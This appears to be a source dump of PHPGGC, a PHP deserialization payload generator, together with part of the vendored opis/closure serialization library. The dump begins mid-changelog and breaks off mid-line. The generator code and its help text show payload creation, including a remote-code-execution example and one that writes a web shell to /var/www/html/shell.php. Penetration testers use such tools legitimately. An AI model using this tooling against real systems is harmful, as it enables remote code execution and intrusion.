Removed `branch-alias` property from `composer.json` 188 | * Bugfix. See [issue #6](https://github.com/opis/closure/issues/6) 189 | 190 | ### v2.0.0, 2015.07.31 191 | 192 | * The closure parser was improved 193 | * Class names are now automatically resolved 194 | * Added support for the `#trackme` directive which allows tracking closure's residing source 195 | 196 | ### v1.3.0, 2014.10.18 197 | 198 | * Added autoload file 199 | * Changed README file 200 | 201 | ### Opis Closure 1.2.2 202 | 203 | * Started changelog 204 | -------------------------------------------------------------------------------- /lib/PHPGGC.php: -------------------------------------------------------------------------------- 1 | base = realpath(dirname(dirname(__FILE__))); 19 | spl_autoload_register(array($this, 'autoload')); 20 | $this->chains = $this->get_gadget_chains(); 21 | } 22 | 23 | /** 24 | * Generates a payload from the command line arguments. 25 | * First, the gadget is loaded, and then it is generated using additional 26 | * arguments. 27 | */ 28 | public function generate() 29 | { 30 | global $argv; 31 | 32 | $parameters = $this->parse_cmdline($argv); 33 | if(count($parameters) < 1) 34 | { 35 | $this->help(); 36 | return; 37 | } 38 | 39 | $class = array_shift($parameters); 40 | $gc = $this->get_gadget_chain($class); 41 | 42 | if(@$this->arguments['informations']) 43 | { 44 | $this->o($gc, 2); 45 | $this->o($this->_get_command_line_gc($gc)); 46 | } 47 | else 48 | { 49 | $parameters = $this->get_type_parameters($gc, $parameters); 50 | $generated = $this->serialize($gc, $parameters); 51 | print($generated . "\n"); 52 | } 53 | } 54 | 55 | /** 56 | * Gets an instance of the given GadgetChain class. 57 | */ 58 | public function get_gadget_chain($class) 59 | { 60 | $full = strtolower('GadgetChain/' . $class); 61 | 62 | if(!in_array($full, array_keys($this->chains))) 63 | { 64 | throw new PHPGGC\Exception('Unknown gadget chain: ' . $class); 65 | } 66 | 67 | return $this->chains[$full]; 68 | } 69 | 70 | /** 71 | * Generates the serialized payload from given gadget and parameters. 72 | */ 73 | public function serialize($gc, $parameters) 74 | { 75 | $gc->load_gadgets(); 76 | 77 | $parameters = $gc->pre_process($parameters); 78 | $payload = $gc->generate($parameters); 79 | $payload = $this->wrap($payload); 80 | 81 | $serialized = serialize($payload); 82 | 83 | $serialized = $gc->post_process($serialized); 84 | $serialized = $this->apply_filters($serialized); 85 | 86 | return $serialized; 87 | } 88 | 89 | /** 90 | * Includes every file that might contain a gadget. 91 | */ 92 | protected function include_gadget_chains() 93 | { 94 | $base = $this->base . self::DIR_GADGETCHAINS; 95 | $files = glob($base . '/*/*/*/chain.php'); 96 | array_map(function ($file) 97 | { 98 | include_once $file; 99 | }, $files); 100 | } 101 | 102 | /** 103 | * Loads every available gadget and returns an array of the form 104 | * class_name => object. 105 | */ 106 | public function get_gadget_chains() 107 | { 108 | $this->include_gadget_chains(); 109 | 110 | $classes = get_declared_classes(); 111 | $classes = array_filter($classes, function($class) 112 | { 113 | return is_subclass_of($class, '\\PHPGGC\\GadgetChain') && 114 | strpos($class, 'GadgetChain\\') === 0; 115 | }); 116 | $objects = array_map(function($class) 117 | { 118 | return new $class(); 119 | }, $classes); 120 | 121 | # Convert backslashes in classes names to forward slashes, 122 | # so that the command line is easier to use 123 | $classes = array_map(function($class) 124 | { 125 | return strtolower(str_replace('\\', '/', $class)); 126 | }, $classes); 127 | return array_combine($classes, $objects); 128 | } 129 | 130 | /** 131 | * Includes a PHP file containing a wrapper($data) function. 132 | * This method will be called after the gadget chain has been generated, 133 | * and before serialize() is called, in order to modify the payload if 134 | * need be. 135 | */ 136 | public function set_wrapper($file) 137 | { 138 | include $file; 139 | $this->_has_wrapper = true; 140 | } 141 | 142 | /** 143 | * Wraps the payload into something else if the user required it. 144 | * For instance, if a specific unserialize call requires an array, one could 145 | * build a wrapper function of the likes: 146 | * 147 | * function wrapper($description) 148 | * { 149 | * return array('id' => '123', 'data' => $description['payload']); 150 | * } 151 | * 152 | * The returned serialized payload would be an array which contains the 153 | * payload under the key "data". 154 | */ 155 | public function wrap($payload) 156 | { 157 | if(isset($this->_has_wrapper)) 158 | { 159 | $payload = call_user_func('wrapper', $payload); 160 | } 161 | 162 | return $payload; 163 | } 164 | 165 | /** 166 | * Autoloads PHPGGC base classes only, in order to avoid conflict between 167 | * different gadget chains. 168 | */ 169 | public function autoload($class) 170 | { 171 | if(strpos($class, 'PHPGGC\\') === 0) 172 | { 173 | $file = str_replace('\\', '/', $class) . '.php'; 174 | include_once $this->base . self::DIR_LIB . '/' . $file; 175 | } 176 | } 177 | 178 | /** 179 | * Creates the file structure for a new gadgetchain targeting $name and of 180 | * type $type. 181 | */ 182 | function new_gc($name, $type) 183 | { 184 | $namespace = '\\PHPGGC\\GadgetChain'; 185 | 186 | # Check type 187 | 188 | $type = strtoupper($type); 189 | $reflection = new ReflectionClass($namespace); 190 | $constant = 'TYPE_' . $type; 191 | $value = $reflection->getConstant($constant); 192 | 193 | if($value === false) 194 | { 195 | $this->o('Invalid type: ' . $type); 196 | exit(0); 197 | } 198 | 199 | # Match base class from type 200 | 201 | $base = $this->base . self::DIR_BASE_GADGETCHAINS; 202 | $files = glob($base . '/*.php'); 203 | 204 | foreach($files as $file) 205 | { 206 | $classname = substr(basename($file), 0, -4); 207 | $classname = $namespace . '\\' . $classname; 208 | $reflection = new ReflectionClass($classname); 209 | 210 | if($reflection->getProperty('type')->getValue() === $value) 211 | { 212 | $baseclass = $reflection; 213 | break; 214 | } 215 | } 216 | 217 | if(!isset($baseclass)) 218 | { 219 | $this->o('No base class for type: ' . $type); 220 | exit(0); 221 | } 222 | 223 | # Create directory structure 224 | 225 | $base = $this->base . self::DIR_GADGETCHAINS; 226 | $base = $base . '/' . $name . '/' . $type . '/'; 227 | 228 | for($i=1;file_exists($base . $i);$i++); 229 | 230 | $base = $base . $i; 231 | mkdir($base, 0777, true); 232 | 233 | $replacements = [ 234 | '{NAME}' => $name, 235 | '{CLASS_NAME}' => $type . $i, 236 | '{BASE_CLASS_NAME}' => $baseclass->getName() 237 | ]; 238 | 239 | $this->create_from_template($base, 'chain.php', $replacements); 240 | $this->create_from_template($base, 'gadgets.php'); 241 | 242 | # Display success message 243 | 244 | $full_name = $replacements['{NAME}'] . '\\' 245 | . $replacements['{CLASS_NAME}']; 246 | $base = substr($base, strlen($this->base) + 1); 247 | 248 | $this->o('Created ' . $full_name . ' under: ' . $base); 249 | 250 | exit(0); 251 | } 252 | 253 | /** 254 | * Creates a file in directory $path from template $name. 255 | */ 256 | function create_from_template($path, $name, $replacements=null) 257 | { 258 | $template = $this->base . self::DIR_TEMPLATES . '/' . $name; 259 | $template = file_get_contents($template); 260 | 261 | if($replacements) 262 | $template = strtr($template, $replacements); 263 | 264 | file_put_contents($path . '/' . $name, $template); 265 | } 266 | 267 | # 268 | # Display 269 | # 270 | 271 | /** 272 | * Displays a message. 273 | */ 274 | function output($message, $r=1) 275 | { 276 | $n = str_repeat("\n", $r); 277 | print($message . $n); 278 | } 279 | 280 | /** 281 | * Wrapper for output(). 282 | */ 283 | protected function o($message, $r=1) 284 | { 285 | $this->output($message, $r); 286 | } 287 | 288 | /** 289 | * Applies command line filters on the serialized payload. 290 | */ 291 | protected function apply_filters($serialized) 292 | { 293 | extract($this->arguments, EXTR_SKIP); 294 | 295 | if(@$base64) 296 | $serialized = base64_encode($serialized); 297 | if(@$urlencode) 298 | $serialized = urlencode($serialized); 299 | if(@$softencode) 300 | { 301 | $keys = str_split("%\x00\n\r\t+"); 302 | $values = array_map('urlencode', $keys); 303 | $serialized = str_replace($keys, $values, $serialized); 304 | } 305 | 306 | return $serialized; 307 | } 308 | 309 | /** 310 | * Generates an ASCII array. 311 | */ 312 | protected function table($titles, $data) 313 | { 314 | $titles = array_map('strtoupper', $titles); 315 | $data = array_merge([$titles], $data); 316 | $pad = array_fill(0, count($titles), 0); 317 | 318 | foreach($data as $row) 319 | { 320 | foreach($row as $i => $cell) 321 | { 322 | $pad[$i] = max($pad[$i], strlen($cell)); 323 | } 324 | } 325 | 326 | $array = ''; 327 | 328 | foreach($data as $row) 329 | { 330 | foreach($row as $i => $cell) 331 | { 332 | $array .= str_pad($cell, $pad[$i]) . ' '; 333 | } 334 | $array .= "\n"; 335 | } 336 | 337 | return $array; 338 | } 339 | 340 | protected function list_gc() 341 | { 342 | $this->o(""); 343 | $this->o("Gadget Chains"); 344 | $this->o("-------------", 2); 345 | 346 | $titles = [ 347 | 'Name', 348 | 'Version', 349 | 'Type', 350 | 'Vector', 351 | 'I' 352 | ]; 353 | 354 | $data = []; 355 | foreach($this->chains as $chain) 356 | { 357 | $data[] = [ 358 | $chain->get_name(), 359 | $chain->version, 360 | $chain::$type, 361 | $chain->vector, 362 | ($chain->informations ? '*' : '') 363 | ]; 364 | } 365 | 366 | $this->o($this->table($titles, $data)); 367 | 368 | exit(0); 369 | } 370 | 371 | protected function help() 372 | { 373 | $this->o(""); 374 | $this->o("PHPGGC: PHP Generic Gadget Chains"); 375 | $this->o("---------------------------------", 2); 376 | 377 | $this->o("USAGE"); 378 | $this->o(" " . $this->_get_command_line( 379 | '[-h|-l|-w|-h|-s|-u|-b|-i]', 380 | '', 381 | '[arguments]' 382 | ), 2); 383 | 384 | $this->o("INFORMATION"); 385 | $this->o(" -h Displays help"); 386 | $this->o(" -l Lists available gadget chains"); 387 | $this->o(" -i Displays informations about a gadget chain"); 388 | $this->o(""); 389 | $this->o("MODIFICATION"); 390 | $this->o(" -w "); 391 | $this->o(" Specifies a file containing a function: wrapper(\$payload)"); 392 | $this->o(" This function will be called before the generated gadget is serialized."); 393 | $this->o(""); 394 | $this->o("ENCODING"); 395 | $this->o(" -s Soft URLencode"); 396 | $this->o(" -u URLencodes the payload"); 397 | $this->o(" -b Converts the output into base64"); 398 | $this->o(""); 399 | 400 | $this->o("EXAMPLES"); 401 | $this->o(" " . $this->_get_command_line( 402 | 'Laravel/RCE1', 403 | '\'phpinfo().die();\'' 404 | )); 405 | $this->o(" " . $this->_get_command_line( 406 | 'SwiftMailer/FW1', 407 | '/var/www/html/shell.php', 408 | '/tmp/local_file_to_write' 409 | )); 410 | $this->o(""); 411 | 412 | exit(0); 413 | } 414 | 415 | /** 416 | * Parses the command line arguments. 417 | */ 418 | protected function parse_cmdline($argv) 419 | { 420 | unset($argv[0]); 421 | 422 | $valid_arguments = [ 423 | 'new' => true, 424 | 'informations' => false, 425 | 'help' => false, 426 | 'list' => false, 427 | 'wrapper' => true, 428 | 'softencode' => false, 429 | 'base64' => false, 430 | 'urlencode' => false, 431 | ]; 432 | 433 | $arguments = [ 434 | ]; 435 | 436 | $count = count($argv); 437 | 438 | foreach($argv as $i => $arg) 439 | { 440 | if($arg{0} == '-') 441 | { 442 | $arg = substr($arg, 1); 443 | $valid = false; 444 | 445 | foreach($valid_arguments as $argument => $has_parameter) 446 | { 447 | if($argument{0} == $arg) 448 | { 449 | $valid = true; 450 | 451 | if($has_parameter) 452 | { 453 | if($count < $i) 454 | { 455 | $e = 'Parameter ' . $arg . ' expects a value'; 456 | throw new \PHPGGC\Exception($e); 457 | } 458 | 459 | $arguments[$argument] = $argv[$i+1]; 460 | 461 | # Delete argument's value 462 | unset($argv[$i+1]); 463 | } 464 | else 465 | { 466 | $arguments[$argument] = true; 467 | } 468 | 469 | break; 470 | } 471 | } 472 | 473 | if(!$valid) 474 | { 475 | throw new PHPGGC\Exception('Unknown parameter: ' . $arg); 476 | } 477 | 478 | # Delete argument 479 | unset($argv[$i]); 480 | } 481 | } 482 | 483 | $argv = array_values($argv); 484 | 485 | # Handle optional arguments in case they need to be handled now. 486 | # Otherwise, just save them. 487 | 488 | foreach($arguments as $argument => $value) 489 | { 490 | switch($argument) 491 | { 492 | case 'new': 493 | if(count($argv) < 1) 494 | { 495 | $line = $this->_get_command_line(' '); 496 | $this->o($line); 497 | } 498 | else 499 | $this->new_gc($value, $argv[0]); 500 | 501 | break; 502 | case 'help': 503 | $this->help(); 504 | break; 505 | case 'list': 506 | $this->list_gc(); 507 | break; 508 | case 'wrapper': 509 | $this->set_wrapper($value); 510 | break; 511 | } 512 | } 513 | 514 | $this->arguments = $arguments; 515 | 516 | # Return remaining arguments 517 | return array_values($argv); 518 | } 519 | 520 | /** 521 | * Convert command line parameters into an array of named parameters, 522 | * specific to the type of payload. 523 | */ 524 | protected function get_type_parameters($gc, $parameters) 525 | { 526 | $arguments = $gc->parameters; 527 | 528 | $values = @array_combine($arguments, $parameters); 529 | 530 | if($values === false) 531 | { 532 | $this->o($gc, 2); 533 | $message = 'Invalid arguments for type "' . $gc::$type . '" ' . "\n" 534 | . $this->_get_command_line_gc($gc); 535 | throw new PHPGGC\Exception($message); 536 | } 537 | 538 | return $values; 539 | } 540 | 541 | protected function _get_command_line_gc($gc) 542 | { 543 | $arguments = array_map(function ($a) { 544 | return '<' . $a . '>'; 545 | }, $gc->parameters); 546 | return $this->_get_command_line($gc->get_name(), ...$arguments); 547 | } 548 | 549 | private function _get_command_line(...$arguments) 550 | { 551 | return './phpggc ' . implode(' ', $arguments); 552 | } 553 | } -------------------------------------------------------------------------------- /lib/opis/closure/src/SerializableClosure.php: -------------------------------------------------------------------------------- 1 | closure = $closure; 73 | if (static::$context !== null) { 74 | $this->scope = static::$context->scope; 75 | $this->scope->toserialize++; 76 | } 77 | } 78 | 79 | /** 80 | * Get the Closure object 81 | * 82 | * @return Closure The wrapped closure 83 | */ 84 | public function getClosure() 85 | { 86 | return $this->closure; 87 | } 88 | 89 | /** 90 | * Get the reflector for closure 91 | * 92 | * @return ReflectionClosure 93 | */ 94 | public function getReflector() 95 | { 96 | if ($this->reflector === null) { 97 | $this->reflector = new ReflectionClosure($this->closure, $this->code); 98 | $this->code = null; 99 | } 100 | 101 | return $this->reflector; 102 | } 103 | 104 | /** 105 | * Implementation of magic method __invoke() 106 | */ 107 | public function __invoke() 108 | { 109 | return call_user_func_array($this->closure, func_get_args()); 110 | } 111 | 112 | /** 113 | * Implementation of Serializable::serialize() 114 | * 115 | * @return string The serialized closure 116 | */ 117 | public function serialize() 118 | { 119 | if ($this->scope === null) { 120 | $this->scope = new ClosureScope(); 121 | $this->scope->toserialize++; 122 | } 123 | 124 | $this->scope->serializations++; 125 | 126 | $scope = $object = null; 127 | $reflector = $this->getReflector(); 128 | 129 | if($reflector->isBindingRequired()){ 130 | $object = $reflector->getClosureThis(); 131 | static::wrapClosures($object, $this->scope); 132 | if($scope = $reflector->getClosureScopeClass()){ 133 | $scope = $scope->name; 134 | } 135 | } elseif($reflector->isScopeRequired()) { 136 | if($scope = $reflector->getClosureScopeClass()){ 137 | $scope = $scope->name; 138 | } 139 | } 140 | 141 | $this->reference = spl_object_hash($this->closure); 142 | 143 | $this->scope[$this->closure] = $this; 144 | 145 | $use = $this->transformUseVariables($reflector->getUseVariables()); 146 | $code = $reflector->getCode(); 147 | 148 | $this->mapByReference($use); 149 | 150 | $ret = \serialize(array( 151 | 'use' => $use, 152 | 'function' => $code, 153 | 'scope' => $scope, 154 | 'this' => $object, 155 | 'self' => $this->reference, 156 | )); 157 | 158 | if (static::$securityProvider !== null) { 159 | $data = static::$securityProvider->sign($ret); 160 | $ret = '@' . $data['hash'] . '.' . $data['closure']; 161 | } 162 | 163 | if (!--$this->scope->serializations && !--$this->scope->toserialize) { 164 | $this->scope = null; 165 | } 166 | 167 | return $ret; 168 | } 169 | 170 | /** 171 | * Transform the use variables before serialization. 172 | * 173 | * @param array $data The Closure's use variables 174 | * @return array 175 | */ 176 | protected function transformUseVariables($data) 177 | { 178 | return $data; 179 | } 180 | 181 | /** 182 | * Implementation of Serializable::unserialize() 183 | * 184 | * @param string $data Serialized data 185 | * @throws SecurityException 186 | */ 187 | public function unserialize($data) 188 | { 189 | ClosureStream::register(); 190 | 191 | if (static::$securityProvider !== null) { 192 | if ($data[0] !== '@') { 193 | throw new SecurityException("The serialized closure is not signed. ". 194 | "Make sure you use a security provider for both serialization and unserialization."); 195 | } 196 | 197 | if ($data[1] !== '{') { 198 | $separator = strpos($data, '.'); 199 | if ($separator === false) { 200 | throw new SecurityException('Invalid signed closure'); 201 | } 202 | $hash = substr($data, 1, $separator - 1); 203 | $closure = substr($data, $separator + 1); 204 | 205 | $data = ['hash' => $hash, 'closure' => $closure]; 206 | 207 | unset($hash, $closure); 208 | } else { 209 | $data = json_decode(substr($data, 1), true); 210 | } 211 | 212 | if (!is_array($data) || !static::$securityProvider->verify($data)) { 213 | throw new SecurityException("Your serialized closure might have been modified and it's unsafe to be unserialized. " . 214 | "Make sure you use the same security provider, with the same settings, " . 215 | "both for serialization and unserialization."); 216 | } 217 | 218 | $data = $data['closure']; 219 | } elseif ($data[0] === '@') { 220 | if ($data[1] !== '{') { 221 | $separator = strpos($data, '.'); 222 | if ($separator === false) { 223 | throw new SecurityException('Invalid signed closure'); 224 | } 225 | $hash = substr($data, 1, $separator - 1); 226 | $closure = substr($data, $separator + 1); 227 | 228 | $data = ['hash' => $hash, 'closure' => $closure]; 229 | 230 | unset($hash, $closure); 231 | } else { 232 | $data = json_decode(substr($data, 1), true); 233 | } 234 | 235 | if (!is_array($data) || !isset($data['closure']) || !isset($data['hash'])) { 236 | throw new SecurityException('Invalid signed closure'); 237 | } 238 | 239 | $data = $data['closure']; 240 | } 241 | 242 | $this->code = \unserialize($data); 243 | 244 | // unset data 245 | unset($data); 246 | 247 | $this->code['objects'] = array(); 248 | 249 | if ($this->code['use']) { 250 | $this->scope = new ClosureScope(); 251 | $this->code['use'] = $this->resolveUseVariables($this->code['use']); 252 | $this->mapPointers($this->code['use']); 253 | extract($this->code['use'], EXTR_OVERWRITE | EXTR_REFS); 254 | $this->scope = null; 255 | } 256 | 257 | $this->closure = include(ClosureStream::STREAM_PROTO . '://' . $this->code['function']); 258 | 259 | if($this->code['this'] === $this){ 260 | $this->code['this'] = null; 261 | } 262 | 263 | if ($this->code['scope'] !== null || $this->code['this'] !== null) { 264 | $this->closure = $this->closure->bindTo($this->code['this'], $this->code['scope']); 265 | } 266 | 267 | if(!empty($this->code['objects'])){ 268 | foreach ($this->code['objects'] as $item){ 269 | $item['property']->setValue($item['instance'], $item['object']->getClosure()); 270 | } 271 | } 272 | 273 | $this->code = $this->code['function']; 274 | } 275 | 276 | /** 277 | * Resolve the use variables after unserialization. 278 | * 279 | * @param array $data The Closure's transformed use variables 280 | * @return array 281 | */ 282 | protected function resolveUseVariables($data) 283 | { 284 | return $data; 285 | } 286 | 287 | /** 288 | * Wraps a closure and sets the serialization context (if any) 289 | * 290 | * @param Closure $closure Closure to be wrapped 291 | * 292 | * @return self The wrapped closure 293 | */ 294 | public static function from(Closure $closure) 295 | { 296 | if (static::$context === null) { 297 | $instance = new static($closure); 298 | } elseif (isset(static::$context->scope[$closure])) { 299 | $instance = static::$context->scope[$closure]; 300 | } else { 301 | $instance = new static($closure); 302 | static::$context->scope[$closure] = $instance; 303 | } 304 | 305 | return $instance; 306 | } 307 | 308 | /** 309 | * Increments the context lock counter or creates a new context if none exist 310 | */ 311 | public static function enterContext() 312 | { 313 | if (static::$context === null) { 314 | static::$context = new ClosureContext(); 315 | } 316 | 317 | static::$context->locks++; 318 | } 319 | 320 | /** 321 | * Decrements the context lock counter and destroy the context when it reaches to 0 322 | */ 323 | public static function exitContext() 324 | { 325 | if (static::$context !== null && !--static::$context->locks) { 326 | static::$context = null; 327 | } 328 | } 329 | 330 | /** 331 | * @param string $secret 332 | */ 333 | public static function setSecretKey($secret) 334 | { 335 | if(static::$securityProvider === null){ 336 | static::$securityProvider = new SecurityProvider($secret); 337 | } 338 | } 339 | 340 | /** 341 | * @param ISecurityProvider $securityProvider 342 | */ 343 | public static function addSecurityProvider(ISecurityProvider $securityProvider) 344 | { 345 | static::$securityProvider = $securityProvider; 346 | } 347 | 348 | /** 349 | * Remove security provider 350 | */ 351 | public static function removeSecurityProvider() 352 | { 353 | static::$securityProvider = null; 354 | } 355 | 356 | /** 357 | * @return null|ISecurityProvider 358 | */ 359 | public static function getSecurityProvider() 360 | { 361 | return static::$securityProvider; 362 | } 363 | 364 | /** 365 | * Wrap closures 366 | * 367 | * @internal 368 | * @param $data 369 | * @param ClosureScope|SplObjectStorage|null $storage 370 | */ 371 | public static function wrapClosures(&$data, SplObjectStorage $storage = null) 372 | { 373 | static::enterContext(); 374 | 375 | if($storage === null){ 376 | $storage = static::$context->scope; 377 | } 378 | 379 | if($data instanceof Closure){ 380 | $data = static::from($data); 381 | } elseif (is_array($data)){ 382 | if(isset($data[self::ARRAY_RECURSIVE_KEY])){ 383 | return; 384 | } 385 | $data[self::ARRAY_RECURSIVE_KEY] = true; 386 | foreach ($data as $key => &$value){ 387 | if($key === self::ARRAY_RECURSIVE_KEY){ 388 | continue; 389 | } 390 | static::wrapClosures($value, $storage); 391 | } 392 | unset($value); 393 | unset($data[self::ARRAY_RECURSIVE_KEY]); 394 | } elseif($data instanceof \stdClass){ 395 | if(isset($storage[$data])){ 396 | $data = $storage[$data]; 397 | return; 398 | } 399 | $data = $storage[$data] = clone($data); 400 | foreach ($data as &$value){ 401 | static::wrapClosures($value, $storage); 402 | } 403 | unset($value); 404 | } elseif (is_object($data) && ! $data instanceof static){ 405 | if(isset($storage[$data])){ 406 | $data = $storage[$data]; 407 | return; 408 | } 409 | $instance = $data; 410 | $reflection = new ReflectionObject($instance); 411 | if(!$reflection->isUserDefined()){ 412 | $storage[$instance] = $data; 413 | return; 414 | } 415 | $storage[$instance] = $data = $reflection->newInstanceWithoutConstructor(); 416 | 417 | do{ 418 | if(!$reflection->isUserDefined()){ 419 | break; 420 | } 421 | foreach ($reflection->getProperties() as $property){ 422 | if($property->isStatic() || !$property->getDeclaringClass()->isUserDefined()){ 423 | continue; 424 | } 425 | $property->setAccessible(true); 426 | $value = $property->getValue($instance); 427 | if(is_array($value) || is_object($value)){ 428 | static::wrapClosures($value, $storage); 429 | } 430 | $property->setValue($data, $value); 431 | }; 432 | } while($reflection = $reflection->getParentClass()); 433 | } 434 | 435 | static::exitContext(); 436 | } 437 | 438 | /** 439 | * Unwrap closures 440 | * 441 | * @internal 442 | * @param $data 443 | * @param SplObjectStorage|null $storage 444 | */ 445 | public static function unwrapClosures(&$data, SplObjectStorage $storage = null) 446 | { 447 | if($storage === null){ 448 | $storage = static::$context->scope; 449 | } 450 | 451 | if($data instanceof static){ 452 | $data = $data->getClosure(); 453 | } elseif (is_array($data)){ 454 | if(isset($data[self::ARRAY_RECURSIVE_KEY])){ 455 | return; 456 | } 457 | $data[self::ARRAY_RECURSIVE_KEY] = true; 458 | foreach ($data as $key => &$value){ 459 | if($key === self::ARRAY_RECURSIVE_KEY){ 460 | continue; 461 | } 462 | static::unwrapClosures($value, $storage); 463 | } 464 | unset($data[self::ARRAY_RECURSIVE_KEY]); 465 | }elseif ($data instanceof \stdClass){ 466 | if(isset($storage[$data])){ 467 | return; 468 | } 469 | $storage[$data] = true; 470 | foreach ($data as &$property){ 471 | static::unwrapClosures($property, $storage); 472 | } 473 | } elseif (is_object($data) && !($data instanceof Closure)){ 474 | if(isset($storage[$data])){ 475 | return; 476 | } 477 | $storage[$data] = true; 478 | $reflection = new ReflectionObject($data); 479 | 480 | do{ 481 | if(!$reflection->isUserDefined()){ 482 | break; 483 | } 484 | foreach ($reflection->getProperties() as $property){ 485 | if($property->isStatic() || !$property->getDeclaringClass()->isUserDefined()){ 486 | continue; 487 | } 488 | $property->setAccessible(true); 489 | $value = $property->getValue($data); 490 | if(is_array($value) || is_object($value)){ 491 | static::unwrapClosures($value, $storage); 492 | $property->setValue($data, $value); 493 | } 494 | }; 495 | } while($reflection = $reflection->getParentClass()); 496 | } 497 | } 498 | 499 | /** 500 | * Creates a new closure from arbitrary code, 501 | * emulating create_function, but without using eval 502 | * 503 | * @param string$args 504 | * @param string $code 505 | * @return Closure 506 | */ 507 | public static function createClosure($args, $code) 508 | { 509 | ClosureStream::register(); 510 | return include(ClosureStream::STREAM_PROTO . '://function(' . $args. '){' . $code . '};'); 511 | } 512 | 513 | /** 514 | * Internal method used to map closure pointers 515 | * @internal 516 | * @param $data 517 | */ 518 | protected function mapPointers(&$data) 519 | { 520 | $scope = $this->scope; 521 | 522 | if ($data instanceof static) { 523 | $data = &$data->closure; 524 | } elseif (is_array($data)) { 525 | if(isset($data[self::ARRAY_RECURSIVE_KEY])){ 526 | return; 527 | } 528 | $data[self::ARRAY_RECURSIVE_KEY] = true; 529 | foreach ($data as $key => &$value){ 530 | if($key === self::ARRAY_RECURSIVE_KEY){ 531 | continue; 532 | } elseif ($value instanceof static) { 533 | $data[$key] = &$value->closure; 534 | } elseif ($value instanceof SelfReference && $value->hash === $this->code['self']){ 535 | $data[$key] = &$this->closure; 536 | } else { 537 | $this->mapPointers($value); 538 | } 539 | } 540 | unset($value); 541 | unset($data[self::ARRAY_RECURSIVE_KEY]); 542 | } elseif ($data instanceof \stdClass) { 543 | if(isset($scope[$data])){ 544 | return; 545 | } 546 | $scope[$data] = true; 547 | foreach ($data as $key => &$value){ 548 | if ($value instanceof SelfReference && $value->hash === $this->code['self']){ 549 | $data->{$key} = &$this->closure; 550 | } elseif(is_array($value) || is_object($value)) { 551 | $this->mapPointers($value); 552 | } 553 | } 554 | unset($value); 555 | } elseif (is_object($data) && !($data instanceof Closure)){ 556 | if(isset($scope[$data])){ 557 | return; 558 | } 559 | $scope[$data] = true; 560 | $reflection = new ReflectionObject($data); 561 | do{ 562 | if(!$reflection->isUserDefined()){ 563 | break; 564 | } 565 | foreach ($reflection->getProperties() as $property){ 566 | if($property->isStatic() || !$property->getDeclaringClass()->isUserDefined()){ 567 | continue; 568 | } 569 | $property->setAccessible(true); 570 | $item = $property->getValue($data); 571 | if ($item instanceof SerializableClosure || ($item instanceof SelfReference && $item->hash === $this->code['self'])) { 572 | $this->code['objects'][] = array( 573 | 'instance' => $data, 574 | 'property' => $property, 575 | 'object' => $item instanceof SelfReference ? $this : $item, 576 | ); 577 | } elseif (is_array($item) || is_object($item)) { 578 | $this->mapPointers($item); 579 | $property->setValue($data, $item); 580 | } 581 | } 582 | } while($reflection = $reflection->getParentClass()); 583 | } 584 | } 585 | 586 | /** 587 | * Internal method used to map closures by reference 588 | * 589 | * @internal 590 | * @param mixed &$data 591 | */ 592 | protected function mapByReference(&$data) 593 | { 594 | if ($data instanceof Closure) { 595 | if($data === $this->closure){ 596 | $data = new SelfReference($this->reference); 597 | return; 598 | } 599 | 600 | if (isset($this->scope[$data])) { 601 | $data = $this->scope[$data]; 602 | return; 603 | } 604 | 605 | $instance = new static($data); 606 | 607 | if (static::$context !== null) { 608 | static::$context->scope->toserialize--; 609 | } else { 610 | $instance->scope = $this->scope; 611 | } 612 | 613 | $data = $this->scope[$data] = $instance; 614 | } elseif (is_array($data)) { 615 | if(isset($data[self::ARRAY_RECURSIVE_KEY])){ 616 | return; 617 | } 618 | $data[self::ARRAY_RECURSIVE_KEY] = true; 619 | foreach ($data as $key => &$value){ 620 | if($key === self::ARRAY_RECURSIVE_KEY){ 621 | continue; 622 | } 623 | $this->mapByReference($value); 624 | } 625 | unset($value); 626 | unset($data[self::ARRAY_RECURSIVE_KEY]); 627 | } elseif ($data instanceof \stdClass) { 628 | if(isset($this->scope[$data])){ 629 | $data = $this->scope[$data]; 630 | return; 631 | } 632 | $instance = $data; 633 | $this->scope[$instance] = $data = clone($data); 634 | 635 | foreach ($data as &$value){ 636 | $this->mapByReference($value); 637 | } 638 | unset($value); 639 | } elseif (is_object($data) && !$data instanceof SerializableClosure){ 640 | if(isset($this->scope[$data])){ 641 | $data = $this->scope[$data]; 642 | return; 643 | } 644 | 645 | $instance = $data; 646 | $reflection = new ReflectionObject($data); 647 | if(!$reflection->isUserDefined()){ 648 | $this->scope[$instance] = $data; 649 | return; 650 | } 651 | $this->scope[$instance] = $data = $reflection->newInstanceWithoutConstructor(); 652 | 653 | do{ 654 | if(!$reflection->isUserDefined()){ 655 | break; 656 | } 657 | foreach ($reflection->getProperties() as $property){ 658 | if($property->isStatic() || !$property->getDeclaringClass()->isUserDefined()){ 659 | continue; 660 | } 661 | $property->setAccessible(true); 662 | $value = $property->getValue($instance); 663 | if(is_array($value) || is_object($value)){ 664 | $this->mapByReference($value); 665 | } 666 | $property->setValue($data, $value); 667 | } 668 | } while($reflection = $reflection->getParentClass()); 669 | } 670 | } 671 | 672 | } 673 | -------------------------------------------------------------------------------- /lib/opis/closure/src/ReflectionClosure.php: -------------------------------------------------------------------------------- 1 | code = $code; 39 | parent::__construct($closure); 40 | } 41 | 42 | /** 43 | * @return bool 44 | */ 45 | public function isStatic() 46 | { 47 | if ($this->isStaticClosure === null) { 48 | $this->isStaticClosure = strtolower(substr($this->getCode(), 0, 6)) === 'static'; 49 | } 50 | 51 | return $this->isStaticClosure; 52 | } 53 | 54 | /** 55 | * @return string 56 | */ 57 | public function getCode() 58 | { 59 | if($this->code !== null){ 60 | return $this->code; 61 | } 62 | 63 | $fileName = $this->getFileName(); 64 | $line = $this->getStartLine() - 1; 65 | 66 | $match = ClosureStream::STREAM_PROTO . '://'; 67 | 68 | if ($line === 1 && substr($fileName, 0, strlen($match)) === $match) { 69 | return $this->code = substr($fileName, strlen($match)); 70 | } 71 | 72 | $className = null; 73 | 74 | 75 | if (null !== $className = $this->getClosureScopeClass()) { 76 | $className = '\\' . trim($className->getName(), '\\'); 77 | } 78 | 79 | 80 | if($php7 = PHP_MAJOR_VERSION === 7){ 81 | switch (PHP_MINOR_VERSION){ 82 | case 0: 83 | $php7_types = array('string', 'int', 'bool', 'float'); 84 | break; 85 | case 1: 86 | $php7_types = array('string', 'int', 'bool', 'float', 'void'); 87 | break; 88 | case 2: 89 | default: 90 | $php7_types = array('string', 'int', 'bool', 'float', 'void', 'object'); 91 | } 92 | } 93 | 94 | $ns = $this->getNamespaceName(); 95 | $nsf = $ns == '' ? '' : ($ns[0] == '\\' ? $ns : '\\' . 